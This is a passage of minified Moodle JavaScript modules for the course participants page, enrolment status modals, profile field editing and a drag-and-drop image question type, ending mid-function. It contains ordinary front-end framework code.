 * Unified filter page JS module for the course participants page.
 *
 * @deprecated since Moodle 3.9 MDL-68612 - user unified filter replaced by participants filter.
 * @module     core_user/unified_filter
 * @copyright  2017 Jun Pataleta
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_user/unified_filter&quot;,[&quot;jquery&quot;,&quot;core/form-autocomplete&quot;,&quot;core/str&quot;,&quot;core/notification&quot;],(function($,Autocomplete,Str,Notification){var SELECTORS_UNIFIED_FILTERS=&quot;#unified-filters&quot;;return{init:function(){!function(){M.util.js_pending(&quot;unified_filter_datasource&quot;),Str.get_strings([{key:&quot;userfilterplaceholder&quot;,component:&quot;moodle&quot;},{key:&quot;nofiltersapplied&quot;,component:&quot;moodle&quot;}]).done((function(langstrings){var placeholder=langstrings[0],noSelectionString=langstrings[1];Autocomplete.enhance(SELECTORS_UNIFIED_FILTERS,!0,&quot;core_user/unified_filter_datasource&quot;,placeholder,!1,!0,noSelectionString,!0).then((function(){M.util.js_complete(&quot;unified_filter_datasource&quot;)})).fail(Notification.exception)})).fail(Notification.exception);var last=$(SELECTORS_UNIFIED_FILTERS).val();$(SELECTORS_UNIFIED_FILTERS).on(&quot;change&quot;,(function(){var current=$(this).val(),listoffilters=[],textfilters=[],updatedselectedfilters=!1;if($.each(current,(function(index,catoption){var catandoption=catoption.split(&quot;:&quot;,2);if(2!==catandoption.length)return textfilters.push(catoption),!0;var category=catandoption[0],option=catandoption[1];return void 0!==listoffilters[category]&amp;&amp;(updatedselectedfilters=!0),listoffilters[category]=option,!0})),updatedselectedfilters){var updatefilters=[];for(var category in listoffilters)updatefilters.push(category+&quot;:&quot;+listoffilters[category]);updatefilters=updatefilters.concat(textfilters),$(this).val(updatefilters)}last.join(&quot;,&quot;)!=current.join(&quot;,&quot;)&amp;&amp;this.form.submit()}))}()},getForm:function(){return $(SELECTORS_UNIFIED_FILTERS).closest(&quot;form&quot;)}}}));
/**
 * Datasource for the core_user/unified_filter.
 * @deprecated since Moodle 3.9 MDL-68612 - user unified filter replaced by participants filter.
 *
 * This module is compatible with core/form-autocomplete.
 *
 * @copyright  2017 Jun Pataleta
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_user/unified_filter_datasource&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;],(function($,Ajax,Notification){return{list:function(selector,query){var filteredOptions=[],el=$(selector),originalOptions=$(selector).data(&quot;originaloptionsjson&quot;),selectedFilters=el.val();$.each(originalOptions,(function(index,option){return&quot;&quot;!==query.trim()&amp;&amp;-1===option.label.toLocaleLowerCase().indexOf(query.toLocaleLowerCase())||$.inArray(option.value,selectedFilters)&gt;-1||filteredOptions.push(option),!0}));var deferred=new $.Deferred;return deferred.resolve(filteredOptions),deferred.promise()},processResults:function(selector,results){var options=[];return $.each(results,(function(index,data){options.push({value:data.value,label:data.label})})),options},transport:function(selector,query,callback){this.list(selector,query).then(callback).catch(Notification.exception)}}}));
define(&quot;core_user/status_field&quot;,[&quot;exports&quot;,&quot;core_table/dynamic&quot;,&quot;./repository&quot;,&quot;core/str&quot;,&quot;core_table/local/dynamic/selectors&quot;,&quot;core/fragment&quot;,&quot;core/modal_events&quot;,&quot;core/modal_factory&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;core/toast&quot;],(function(_exports,DynamicTable,Repository,Str,_selectors,_fragment,_modal_events,_modal_factory,_notification,_templates,_toast){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}
/**
   * AMD module for the user enrolment status field in the course participants page.
   *
   * @module     core_user/status_field
   * @copyright  2017 Jun Pataleta
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,DynamicTable=_interopRequireWildcard(DynamicTable),Repository=_interopRequireWildcard(Repository),Str=_interopRequireWildcard(Str),_selectors=_interopRequireDefault(_selectors),_fragment=_interopRequireDefault(_fragment),_modal_events=_interopRequireDefault(_modal_events),_modal_factory=_interopRequireDefault(_modal_factory),_notification=_interopRequireDefault(_notification),_templates=_interopRequireDefault(_templates);const Selectors_editEnrolment=&#039;[data-action=&quot;editenrolment&quot;]&#039;,Selectors_showDetails=&#039;[data-action=&quot;showdetails&quot;]&#039;,Selectors_unenrol=&#039;[data-action=&quot;unenrol&quot;]&#039;,Selectors_statusElement=&quot;[data-status]&quot;,getDynamicTableFromLink=link=&gt;link.closest(_selectors.default.main.region),getStatusContainer=link=&gt;link.closest(Selectors_statusElement),getUserEnrolmentIdFromLink=link=&gt;link.getAttribute(&quot;rel&quot;),showEditDialogue=(link,getBody)=&gt;{const container=getStatusContainer(link),userEnrolmentId=getUserEnrolmentIdFromLink(link);_modal_factory.default.create({large:!0,title:Str.get_string(&quot;edituserenrolment&quot;,&quot;enrol&quot;,container.dataset.fullname),type:_modal_factory.default.types.SAVE_CANCEL,body:getBody(userEnrolmentId)}).then((modal=&gt;(modal.getRoot().on(_modal_events.default.save,(e=&gt;{e.preventDefault(),submitEditFormAjax(link,getBody,modal,userEnrolmentId,container.dataset)})),modal.getRoot().on(_modal_events.default.hidden,(()=&gt;{modal.destroy()})),modal.show(),modal))).catch(_notification.default.exception)},showUnenrolConfirmation=link=&gt;{const container=getStatusContainer(link),userEnrolmentId=getUserEnrolmentIdFromLink(link);_modal_factory.default.create({type:_modal_factory.default.types.SAVE_CANCEL}).then((modal=&gt;{modal.getRoot().on(_modal_events.default.save,(e=&gt;{e.preventDefault(),submitUnenrolFormAjax(link,modal,{ueid:userEnrolmentId},container.dataset)})),modal.getRoot().on(_modal_events.default.hidden,(()=&gt;{modal.destroy()})),modal.show();const stringData=[{key:&quot;unenrol&quot;,component:&quot;enrol&quot;},{key:&quot;unenrolconfirm&quot;,component:&quot;enrol&quot;,param:{user:container.dataset.fullname,course:container.dataset.coursename,enrolinstancename:container.dataset.enrolinstancename}}];return Promise.all([Str.get_strings(stringData),modal])})).then((_ref=&gt;{let[strings,modal]=_ref;return modal.setTitle(strings[0]),modal.setSaveButtonText(strings[0]),modal.setBody(strings[1]),modal})).catch(_notification.default.exception)},showStatusDetails=link=&gt;{const container=getStatusContainer(link),context={editenrollink:&quot;&quot;,statusclass:container.querySelector(&quot;span.badge&quot;).getAttribute(&quot;class&quot;),...container.dataset},editEnrolLink=container.querySelector(Selectors_editEnrolment);editEnrolLink&amp;&amp;(context.editenrollink=editEnrolLink.outerHTML),_modal_factory.default.create({large:!0,type:_modal_factory.default.types.CANCEL,title:Str.get_string(&quot;enroldetails&quot;,&quot;enrol&quot;),body:_templates.default.render(&quot;core_user/status_details&quot;,context)}).then((modal=&gt;(editEnrolLink&amp;&amp;modal.getRoot().on(&quot;click&quot;,Selectors_editEnrolment,(e=&gt;{e.preventDefault(),modal.hide(),editEnrolLink.click()})),modal.show(),modal.getRoot().on(_modal_events.default.hidden,(()=&gt;modal.destroy())),modal))).catch(_notification.default.exception)},submitEditFormAjax=(clickedLink,getBody,modal,userEnrolmentId,userData)=&gt;{const form=modal.getRoot().find(&quot;form&quot;);Repository.submitUserEnrolmentForm(form.serialize()).then((data=&gt;{if(!data.result)throw data.result;return modal.hide(),modal.destroy(),data})).then((()=&gt;(DynamicTable.refreshTableContent(getDynamicTableFromLink(clickedLink)).catch(_notification.default.exception),Str.get_string(&quot;enrolmentupdatedforuser&quot;,&quot;core_enrol&quot;,userData)))).then((notificationString=&gt;{(0,_toast.add)(notificationString)})).catch((()=&gt;(modal.setBody(getBody(userEnrolmentId,JSON.stringify(form.serialize()))),modal)))},submitUnenrolFormAjax=(clickedLink,modal,args,userData)=&gt;{Repository.unenrolUser(args.ueid).then((data=&gt;data.result?(modal.hide(),modal.destroy(),data):(_notification.default.alert(data.errors[0].key,data.errors[0].message),data))).then((()=&gt;(DynamicTable.refreshTableContent(getDynamicTableFromLink(clickedLink)).catch(_notification.default.exception),Str.get_string(&quot;unenrolleduser&quot;,&quot;core_enrol&quot;,userData)))).then((notificationString=&gt;{(0,_toast.add)(notificationString)})).catch(_notification.default.exception)},getBody=function(contextId,ueid){let formdata=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:null;return _fragment.default.loadFragment(&quot;enrol&quot;,&quot;user_enrolment_form&quot;,contextId,{ueid:ueid,formdata:formdata})};_exports.init=_ref2=&gt;{let{contextid:contextid,uniqueid:uniqueid}=_ref2;((contextId,uniqueId)=&gt;{const getBodyFunction=(userEnrolmentId,formData)=&gt;getBody(contextId,userEnrolmentId,formData);document.addEventListener(&quot;click&quot;,(e=&gt;{if(!e.target.closest(_selectors.default.main.fromRegionId(uniqueId)))return;const editLink=e.target.closest(Selectors_editEnrolment);editLink&amp;&amp;(e.preventDefault(),showEditDialogue(editLink,getBodyFunction));const unenrolLink=e.target.closest(Selectors_unenrol);unenrolLink&amp;&amp;(e.preventDefault(),showUnenrolConfirmation(unenrolLink));const showDetailsLink=e.target.closest(Selectors_showDetails);showDetailsLink&amp;&amp;(e.preventDefault(),showStatusDetails(showDetailsLink))}))})(contextid,uniqueid)}}));
define(&quot;core_user/private_files&quot;,[&quot;exports&quot;,&quot;core_form/dynamicform&quot;,&quot;core_form/modalform&quot;,&quot;core/str&quot;,&quot;core/toast&quot;],(function(_exports,_dynamicform,_modalform,_str,_toast){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Module to handle AJAX interactions with user private files
   *
   * @module     core_user/private_files
   * @copyright  2020 Marina Glancy
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.initModal=_exports.initDynamicForm=void 0,_dynamicform=_interopRequireDefault(_dynamicform),_modalform=_interopRequireDefault(_modalform);_exports.initDynamicForm=(containerSelector,formClass)=&gt;{const form=new _dynamicform.default(document.querySelector(containerSelector),formClass);form.addEventListener(form.events.FORM_SUBMITTED,(()=&gt;{form.load(),(0,_str.get_string)(&quot;changessaved&quot;).then(_toast.add).catch(null)})),form.addEventListener(form.events.CANCEL_BUTTON_PRESSED,(()=&gt;window.location.reload()))};_exports.initModal=(elementSelector,formClass)=&gt;{document.querySelector(elementSelector).addEventListener(&quot;click&quot;,(function(e){e.preventDefault();const form=new _modalform.default({formClass:formClass,args:{nosubmit:!0},modalConfig:{title:(0,_str.get_string)(&quot;privatefilesmanage&quot;)},returnFocus:e.target});form.addEventListener(form.events.FORM_SUBMITTED,(()=&gt;window.location.reload())),form.show()}))}}));
define(&quot;core_user/participants&quot;,[&quot;exports&quot;,&quot;core_table/dynamic&quot;,&quot;core/str&quot;,&quot;core/checkbox-toggleall&quot;,&quot;core/custom_interaction_events&quot;,&quot;core_table/local/dynamic/selectors&quot;,&quot;core/modal_events&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;,&quot;jquery&quot;,&quot;core_user/local/participants/bulkactions&quot;,&quot;core/inplace_editable&quot;],(function(_exports,DynamicTable,Str,_checkboxToggleall,_custom_interaction_events,_selectors,_modal_events,_notification,_pending,_jquery,_bulkactions,_inplace_editable){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}
/**
   * Some UI stuff for participants page.
   * This is also used by the report/participants/index.php because it has the same functionality.
   *
   * @module     core_user/participants
   * @copyright  2017 Damyon Wiese
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,DynamicTable=_interopRequireWildcard(DynamicTable),Str=_interopRequireWildcard(Str),_checkboxToggleall=_interopRequireDefault(_checkboxToggleall),_custom_interaction_events=_interopRequireDefault(_custom_interaction_events),_selectors=_interopRequireDefault(_selectors),_modal_events=_interopRequireDefault(_modal_events),_notification=_interopRequireDefault(_notification),_pending=_interopRequireDefault(_pending),_jquery=_interopRequireDefault(_jquery);const Selectors_bulkActionSelect=&quot;#formactionid&quot;,Selectors_bulkUserSelectedCheckBoxes=&quot;input[data-togglegroup=&#039;participants-table&#039;][data-toggle=&#039;slave&#039;]:checked&quot;,Selectors_checkCountButton=&quot;#checkall&quot;,Selectors_showCountText=&#039;[data-region=&quot;participant-count&quot;]&#039;,Selectors_stateHelpIcon=&#039;[data-region=&quot;state-help-icon&quot;]&#039;,Selectors_tableForm=uniqueId=&gt;&#039;form[data-table-unique-id=&quot;&#039;.concat(uniqueId,&#039;&quot;]&#039;);_exports.init=_ref=&gt;{let{uniqueid:uniqueid,noteStateNames:noteStateNames={}}=_ref;const root=document.querySelector(Selectors_tableForm(uniqueid)),getTableFromUniqueId=uniqueId=&gt;root.querySelector(_selectors.default.main.fromRegionId(uniqueId)),resetBulkAction=bulkActionSelect=&gt;{bulkActionSelect.value=&quot;&quot;};_custom_interaction_events.default.define(Selectors_bulkActionSelect,[_custom_interaction_events.default.events.accessibleChange]),(0,_jquery.default)(Selectors_bulkActionSelect).on(_custom_interaction_events.default.events.accessibleChange,(e=&gt;{const bulkActionSelect=e.target.closest(&quot;select&quot;),action=bulkActionSelect.value,checkboxes=getTableFromUniqueId(uniqueid).querySelectorAll(Selectors_bulkUserSelectedCheckBoxes),pendingPromise=new _pending.default(&quot;core_user/participants:bulkActionSelect&quot;);if(-1!==action.indexOf(&quot;#&quot;)){e.preventDefault();const ids=[];let bulkAction;if(checkboxes.forEach((checkbox=&gt;{ids.push(checkbox.getAttribute(&quot;name&quot;).replace(&quot;user&quot;,&quot;&quot;))})),&quot;#messageselect&quot;===action?bulkAction=(0,_bulkactions.showSendMessage)(ids):&quot;#addgroupnote&quot;===action&amp;&amp;(bulkAction=(0,_bulkactions.showAddNote)(root.dataset.courseId,ids,noteStateNames,root.querySelector(Selectors_stateHelpIcon))),bulkAction){const pendingBulkAction=new _pending.default(&quot;core_user/participants:bulkActionSelected&quot;);bulkAction.then((modal=&gt;(modal.getRoot().on(_modal_events.default.hidden,(()=&gt;{bulkActionSelect.focus()})),pendingBulkAction.resolve(),modal))).catch(_notification.default.exception)}}else&quot;&quot;!==action&amp;&amp;checkboxes.length&amp;&amp;bulkActionSelect.form.submit();resetBulkAction(bulkActionSelect),pendingPromise.resolve()})),root.addEventListener(&quot;click&quot;,(e=&gt;{const checkCountButton=root.querySelector(Selectors_checkCountButton);if(checkCountButton&amp;&amp;checkCountButton.contains(e.target)){e.preventDefault();const tableRoot=getTableFromUniqueId(uniqueid);DynamicTable.setPageSize(tableRoot,checkCountButton.dataset.targetPageSize).then((tableRoot=&gt;(_checkboxToggleall.default.setGroupState(root,&quot;participants-table&quot;,!0),tableRoot))).catch(_notification.default.exception)}})),root.addEventListener(DynamicTable.Events.tableContentRefreshed,(e=&gt;{const checkCountButton=root.querySelector(Selectors_checkCountButton),tableRoot=e.target,defaultPageSize=parseInt(tableRoot.dataset.tableDefaultPerPage,10),currentPageSize=parseInt(tableRoot.dataset.tablePageSize,10),totalRowCount=parseInt(tableRoot.dataset.tableTotalRows,10);_checkboxToggleall.default.updateSlavesFromMasterState(root,&quot;participants-table&quot;);const pageCountStrings=[{key:&quot;countparticipantsfound&quot;,component:&quot;core_user&quot;,param:totalRowCount}];totalRowCount&lt;=defaultPageSize?checkCountButton&amp;&amp;checkCountButton.classList.add(&quot;hidden&quot;):totalRowCount&lt;=currentPageSize?(pageCountStrings.push({key:&quot;selectalluserswithcount&quot;,component:&quot;core&quot;,param:defaultPageSize}),checkCountButton&amp;&amp;checkCountButton.classList.add(&quot;hidden&quot;)):(pageCountStrings.push({key:&quot;selectalluserswithcount&quot;,component:&quot;core&quot;,param:totalRowCount}),checkCountButton&amp;&amp;checkCountButton.classList.remove(&quot;hidden&quot;)),Str.get_strings(pageCountStrings).then((_ref2=&gt;{let[showingParticipantCountString,selectCountString]=_ref2;root.querySelector(Selectors_showCountText).innerHTML=showingParticipantCountString,selectCountString&amp;&amp;checkCountButton&amp;&amp;(checkCountButton.value=selectCountString)})).catch(_notification.default.exception)}))}}));
define(&quot;core_user/edit_profile_fields&quot;,[&quot;exports&quot;,&quot;core_form/modalform&quot;,&quot;core/str&quot;],(function(_exports,_modalform,_str){var obj;
/**
   * User profile fields editor
   *
   * @module     core_user/edit_profile_fields
   * @copyright  2021 Marina Glancy
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_modalform=(obj=_modalform)&amp;&amp;obj.__esModule?obj:{default:obj};const Selectors_actions={editCategory:&#039;[data-action=&quot;editcategory&quot;]&#039;,editField:&#039;[data-action=&quot;editfield&quot;]&#039;,createField:&#039;[data-action=&quot;createfield&quot;]&#039;};_exports.init=()=&gt;{document.addEventListener(&quot;click&quot;,(function(e){let element=e.target.closest(Selectors_actions.editCategory);if(element){e.preventDefault();const title=element.getAttribute(&quot;data-id&quot;)?(0,_str.get_string)(&quot;profileeditcategory&quot;,&quot;admin&quot;,element.getAttribute(&quot;data-name&quot;)):(0,_str.get_string)(&quot;profilecreatenewcategory&quot;,&quot;admin&quot;),form=new _modalform.default({formClass:&quot;core_user\\form\\profile_category_form&quot;,args:{id:element.getAttribute(&quot;data-id&quot;)},modalConfig:{title:title},returnFocus:element});form.addEventListener(form.events.FORM_SUBMITTED,(()=&gt;window.location.reload())),form.show()}if(element=e.target.closest(Selectors_actions.editField),element){e.preventDefault();const form=new _modalform.default({formClass:&quot;core_user\\form\\profile_field_form&quot;,args:{id:element.getAttribute(&quot;data-id&quot;)},modalConfig:{title:(0,_str.get_string)(&quot;profileeditfield&quot;,&quot;admin&quot;,element.getAttribute(&quot;data-name&quot;))},returnFocus:element});form.addEventListener(form.events.FORM_SUBMITTED,(()=&gt;window.location.reload())),form.show()}if(element=e.target.closest(Selectors_actions.createField),element){e.preventDefault();const form=new _modalform.default({formClass:&quot;core_user\\form\\profile_field_form&quot;,args:{datatype:element.getAttribute(&quot;data-datatype&quot;),categoryid:element.getAttribute(&quot;data-categoryid&quot;)},modalConfig:{title:(0,_str.get_string)(&quot;profilecreatenewfield&quot;,&quot;admin&quot;,element.getAttribute(&quot;data-datatypename&quot;))},returnFocus:element});form.addEventListener(form.events.FORM_SUBMITTED,(()=&gt;window.location.reload())),form.show()}}))}}));
/*
 * JavaScript to allow dragging options to slots (using mouse down or touch) or tab through slots using keyboard.
 *
 * @module     qtype_ddimageortext/question
 * @copyright  2018 The Open University
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;qtype_ddimageortext/question&quot;,[&quot;jquery&quot;,&quot;core/dragdrop&quot;,&quot;core/key_codes&quot;,&quot;core_form/changechecker&quot;],(function($,dragDrop,keys,FormChangeChecker){function DragDropOntoImageQuestion(containerId,readOnly,places){this.containerId=containerId,this.questionAnswer={},M.util.js_pending(&quot;qtype_ddimageortext-init-&quot;+this.containerId),this.places=places,this.allImagesLoaded=!1,this.imageLoadingTimeoutId=null,this.isPrinting=!1,readOnly&amp;&amp;this.getRoot().addClass(&quot;qtype_ddimageortext-readonly&quot;);var thisQ=this;this.getNotYetLoadedImages().one(&quot;load&quot;,(function(){thisQ.waitForAllImagesToBeLoaded()})),this.waitForAllImagesToBeLoaded()}DragDropOntoImageQuestion.prototype.waitForAllImagesToBeLoaded=function(){var thisQ=this;this.allImagesLoaded||(null!==this.imageLoadingTimeoutId&amp;&amp;clearTimeout(this.imageLoadingTimeoutId),this.getNotYetLoadedImages().length&gt;0?this.imageLoadingTimeoutId=setTimeout((function(){thisQ.waitForAllImagesToBeLoaded()}),100):(this.allImagesLoaded=!0,thisQ.setupQuestion()))},DragDropOntoImageQuestion.prototype.getNotYetLoadedImages=function(){var thisQ=this;return this.getRoot().find(&quot;.ddarea img&quot;).not((function(i,imgNode){return thisQ.imageIsLoaded(imgNode)}))},DragDropOntoImageQuestion.prototype.imageIsLoaded=function(imgElement){return imgElement.complete&amp;&amp;0!==imgElement.naturalHeight},DragDropOntoImageQuestion.prototype.setupQuestion=function(){this.resizeAllDragsAndDrops(),this.cloneDrags(),this.positionDragsAndDrops(),M.util.js_complete(&quot;qtype_ddimageortext-init-&quot;+this.containerId)},DragDropOntoImageQuestion.prototype.resizeAllDragsAndDrops=function(){var thisQ=this;this.getRoot().find(&quot;.draghomes &gt; div&quot;).each((function(i,node){thisQ.resizeAllDragsAndDropsInGroup(thisQ.getClassnameNumericSuffix($(node),&quot;dragitemgroup&quot;))}))},DragDropOntoImageQuestion.prototype.resizeAllDragsAndDropsInGroup=function(group){var root=this.getRoot(),dragHomes=root.find(&quot;.dragitemgroup&quot;+group+&quot; .draghome&quot;),maxWidth=0,maxHeight=0;for(var i in dragHomes.each((function(i,drag){maxWidth=Math.max(maxWidth,Math.ceil(drag.offsetWidth)),maxHeight=Math.max(maxHeight,Math.ceil(drag.offsetHeight))})),maxWidth+=10,maxHeight+=10,dragHomes.each((function(i,drag){var left=Math.round((maxWidth-drag.offsetWidth)/2),top=Math.floor((maxHeight-drag.offsetHeight)/2);$(drag).css({&quot;padding-left&quot;:left+&quot;px&quot;,&quot;padding-right&quot;:maxWidth-drag.offsetWidth-left+&quot;px&quot;,&quot;padding-top&quot;:top+&quot;px&quot;,&quot;padding-bottom&quot;:maxHeight-drag.offsetHeight-top+&quot;px&quot;})})),this.places)if(this.places.hasOwnProperty(i)){var place=this.places[i],label=place.text;parseInt(place.group)===group&amp;&amp;(&quot;&quot;===label&amp;&amp;(label=M.util.get_string(&quot;blank&quot;,&quot;qtype_ddimageortext&quot;)),root.find(&quot;.dropzones&quot;).append(&#039;&lt;div class=&quot;dropzone active group&#039;+place.group+&quot; place&quot;+i+&#039;&quot; tabindex=&quot;0&quot;&gt;&lt;span class=&quot;accesshide&quot;&gt;&#039;+label+&quot;&lt;/span&gt;&amp;nbsp;&lt;/div&gt;&quot;),root.find(&quot;.dropzone.place&quot;+i).width(maxWidth-2).height(maxHeight-2))}},DragDropOntoImageQuestion.prototype.cloneDrags=function(){var thisQ=this;thisQ.getRoot().find(&quot;.draghome&quot;).each((function(index,dragHome){var drag=$(dragHome),placeHolder=drag.clone();placeHolder.removeClass(),placeHolder.addClass(&quot;draghome choice&quot;+thisQ.getChoice(drag)+&quot; group&quot;+thisQ.getGroup(drag)+&quot; dragplaceholder&quot;),drag.before(placeHolder)}))},DragDropOntoImageQuestion.prototype.cloneDragsForOneChoice=function(dragHome){if(dragHome.hasClass(&quot;infinite&quot;))for(var noOfDrags=this.noOfDropsInGroup(this.getGroup(dragHome)),i=0;i&lt;noOfDrags;i++)this.cloneDrag(dragHome);else this.cloneDrag(dragHome)},DragDropOntoImageQuestion.prototype.cloneDrag=function(dragHome){var drag=dragHome.clone();drag.removeClass(&quot;draghome&quot;).addClass(&quot;drag unplaced moodle-has-zindex&quot;).offset(dragHome.offset()),this.getRoot().find(&quot;.dragitems&quot;).append(drag)},DragDropOntoImageQuestion.prototype.positionDragsAndDrops=function(){var thisQ=this,root=this.getRoot(),bgRatio=this.bgRatio();root.find(&quot;.ddarea .dropzone&quot;).each((function(i,dropNode){var drop=$(dropNode),place=thisQ.places[thisQ.getPlace(drop)];drop.css(&quot;left&quot;,parseInt(place.xy[0])*bgRatio).css(&quot;top&quot;,parseInt(place.xy[1])*bgRatio),drop.data(&quot;originX&quot;,parseInt(place.xy[0])).data(&quot;originY&quot;,parseInt(place.xy[1])),thisQ.handleElementScale(drop,&quot;left top&quot;)})),root.find(&quot;.draghome&quot;).not(&quot;.dragplaceholder&quot;).each((function(i,dragNode){var drag=$(dragNode),currentPlace=thisQ.getClassnameNumericSuffix(drag,&quot;inplace&quot;);drag.addClass(&quot;unplaced&quot;).removeClass(&quot;placed&quot;),drag.removeAttr(&quot;tabindex&quot;),null!==currentPlace&amp;&amp;drag.removeClass(&quot;inplace&quot;+currentPlace)})),root.find(&quot;input.placeinput&quot;).each((function(i,inputNode){var input=$(inputNode),choice=input.val();if(!(0===choice.length||choice.length&gt;0&amp;&amp;&quot;0&quot;===choice)){var place=thisQ.getPlace(input),unplacedDrag=thisQ.getUnplacedChoice(thisQ.getGroup(input),choice),hiddenDrag=thisQ.getDragClone(unplacedDrag);if(hiddenDrag.length)if(unplacedDrag.hasClass(&quot;infinite&quot;)){var noOfDrags=thisQ.noOfDropsInGroup(thisQ.getGroup(unplacedDrag));if(thisQ.getInfiniteDragClones(unplacedDrag,!1).length&lt;noOfDrags){var cloneDrag=unplacedDrag.clone();cloneDrag.removeClass(&quot;beingdragged&quot;),cloneDrag.removeAttr(&quot;tabindex&quot;),hiddenDrag.after(cloneDrag),questionManager.addEventHandlersToDrag(cloneDrag)}else hiddenDrag.addClass(&quot;active&quot;)}else hiddenDrag.addClass(&quot;active&quot;);var drop=root.find(&quot;.dropzone.place&quot;+place);thisQ.sendDragToDrop(unplacedDrag,drop)}})),thisQ.questionAnswer=thisQ.getQuestionAnsweredValues()},DragDropOntoImageQuestion.prototype.getQuestionAnsweredValues=function(){let result={};return this.getRoot().find(&quot;input.placeinput&quot;).each(((i,inputNode)=&gt;{result[inputNode.id]=inputNode.value})),result},DragDropOntoImageQuestion.prototype.isQuestionInteracted=function(){const oldAnswer=this.questionAnswer,newAnswer=this.getQuestionAnsweredValues();let isInteracted=!1;return JSON.stringify(newAnswer)!==JSON.stringify(oldAnswer)?(isInteracted=!0,isInteracted):(Object.keys(newAnswer).forEach((key=&gt;{newAnswer[key]!==oldAnswer[key]&amp;&amp;(isInteracted=!0)})),isInteracted)},DragDropOntoImageQuestion.prototype.handleDragStart=function(e){var thisQ=this,drag=$(e.target).closest(&quot;.draghome&quot;),newIndex=this.calculateZIndex()+2;if(dragDrop.prepare(e).start&amp;&amp;!drag.hasClass(&quot;beingdragged&quot;)){drag.addClass(&quot;beingdragged&quot;).css(&quot;transform&quot;,&quot;&quot;).css(&quot;z-index&quot;,newIndex);var currentPlace=this.getClassnameNumericSuffix(drag,&quot;inplace&quot;);if(null!==currentPlace){this.setInputValue(currentPlace,0),drag.removeClass(&quot;inplace&quot;+currentPlace);var hiddenDrop=thisQ.getDrop(drag,currentPlace);hiddenDrop.length&amp;&amp;(hiddenDrop.addClass(&quot;active&quot;),drag.offset(hiddenDrop.offset()))}else{var hiddenDrag=thisQ.getDragClone(drag);if(hiddenDrag.length)if(drag.hasClass(&quot;infinite&quot;)){var noOfDrags=this.noOfDropsInGroup(thisQ.getGroup(drag));if(this.getInfiniteDragClones(drag,!1).length&lt;noOfDrags){var cloneDrag=drag.clone();cloneDrag.removeClass(&quot;beingdragged&quot;),cloneDrag.removeAttr(&quot;tabindex&quot;),hiddenDrag.after(cloneDrag),questionManager.addEventHandlersToDrag(cloneDrag),drag.offset(cloneDrag.offset())}else hiddenDrag.addClass(&quot;active&quot;),drag.offset(hiddenDrag.offset())}else hiddenDrag.addClass(&quot;active&quot;),drag.offset(hiddenDrag.offset())}dragDrop.start(e,drag,(function(x,y,drag){thisQ.dragMove(x,y,drag)}),(function(x,y,drag){thisQ.dragEnd(x,y,drag)}))}},DragDropOntoImageQuestion.prototype.dragMove=function(pageX,pageY,drag){var thisQ=this,highlighted=!1;this.getRoot().find(&quot;.dropzone.group&quot;+this.getGroup(drag)).each((function(i,dropNode){var 